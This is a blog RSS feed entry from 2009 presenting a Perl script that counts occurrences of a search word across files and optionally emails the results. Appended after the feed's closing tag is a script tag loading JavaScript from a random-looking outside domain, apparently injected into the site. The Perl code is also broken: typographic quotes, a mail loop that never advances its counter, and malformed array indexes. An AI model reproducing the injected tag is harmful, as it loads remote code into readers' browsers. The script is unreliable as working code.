<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; PERL Script -A word search program</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/perl-script-a-word-search-program/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>PERL Script -A word search program</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:04:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PERL Script -A word search program]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=119</guid>
		<description><![CDATA[# This script is used to count the number of occurrence of a given search word in the files provided in the command line.
 
# The user has to provide the file names as parameters in the command line.
 
 
#!/usr/local/bin/perl
# Declaring the variables
my $wordToSearch;
my $fileCount=0;
my @wordCount;
my $totalWordCount=0;
 
# Declaring the variables for sending mail
my $fromaddress = &#8220;sreejith_ar\@infosys.com&#8221;;
my $toaddress [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># This script is used to count the number of occurrence of a given search word in the files provided in the command line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; text-align: justify;"><span style="font-size: 10pt; color: #993366; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># The user has to provide the file names as parameters in the command line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#!/usr/local/bin/perl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># Declaring the variables</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $wordToSearch;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $fileCount=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my @wordCount;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $totalWordCount=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"># Declaring the variables for sending mail</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $fromaddress = &#8220;sreejith_ar\@infosys.com&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $toaddress = &#8220;to_dave\@infosys.com&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $subject = &#8220;Give some subject&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my $mailer = &#8220;/usr/lib/sendmail -f$fromaddress -oi&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Prompting the user to enter the word to search and storing it in variable.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print(&#8221;Enter the word to be searched:&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$wordToSearch=&lt;STDIN&gt;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Choping the input to get rid of the new line character at the end</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">chop ($wordToSearch);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Starting the loop which will continue till the files given in the command line is exhausted.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while ($fileCount &lt; @ARGV)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>$wordCount[$fileCount]= 0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Tries to open the file one by one. If the file cannot be opened then the program will print an error message </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">unless (open (INFILE, $ARGV[$fileCount])) </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>die (&#8221;Cannot open the input file $ARGV[$fileCount]\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;">        </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#If the program reached untill here that means the file was available to open.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#The loop continues untill the end of file is reached.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>while ($line = &lt;INFILE&gt;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>{<span style="mso-tab-count: 1;">        </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>my $count=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Chop the line for removing the new line character.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">chop($line);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Split the line based on space and stores it in the array @array</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">my @array = split(/ /,$line);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#The loop continues until it reaches the end of the array</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while($count &lt; @array)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Checks the array one by one to find whether the elements matches with the search words.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>#If matches then increments the word count.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>if ($array[$count] eq $wordToSearch)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 4;">                                      </span>$wordCount[$fileCount]= $wordCount[$fileCount]+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 3;">                             </span>$count=$count+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Count the total number of words in all the files.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$totalWordCount=$totalWordCount+$wordCount[$fileCount];</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Print the result.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>print (&#8221;The Number of Occurance of the word \&#8221;$wordToSearch\&#8221; in the file \&#8221;$ARGV[$fileCount]\&#8221; is: $wordCount[$fileCount]\n\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>$fileCount=$fileCount+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print(&#8221;The total number of Ocuurance of the word \&#8221;$wordToSearch\&#8221; in all the files is : $totalWordCount \n\n&#8221;);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: purple; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">#Below is the optional code which you can add if you want to send a mail with the details.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; color: #3366ff; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">open (MAIL, &#8220;|$mailer -t&#8221;) || die &#8220;Can&#8217;t open mailer&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;To: $toaddress\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;cc: \n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;Subject: $subject\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$count=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while($count &lt; @ARGV)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>print MAIL &#8220;The Number of Occurance of the word \&#8221;$wordToSearch\&#8221; in the file \&#8221;$ARGV[count]\&#8221; is: $wordCount[count]\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;The total number of Ocuurance of the word \&#8221;$wordToSearch\&#8221; in all the files is : $totalWordCount \n\n\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;\n\nThis email was system generated, please do not reply.&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;\n\n\n\n\n\n\n\n\n\n\n\nThis e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and destroy this e-mail. Any unauthorized copying, disclosure or distribution of the material in this e-mail is strictly forbidden.&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">close (MAIL);</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>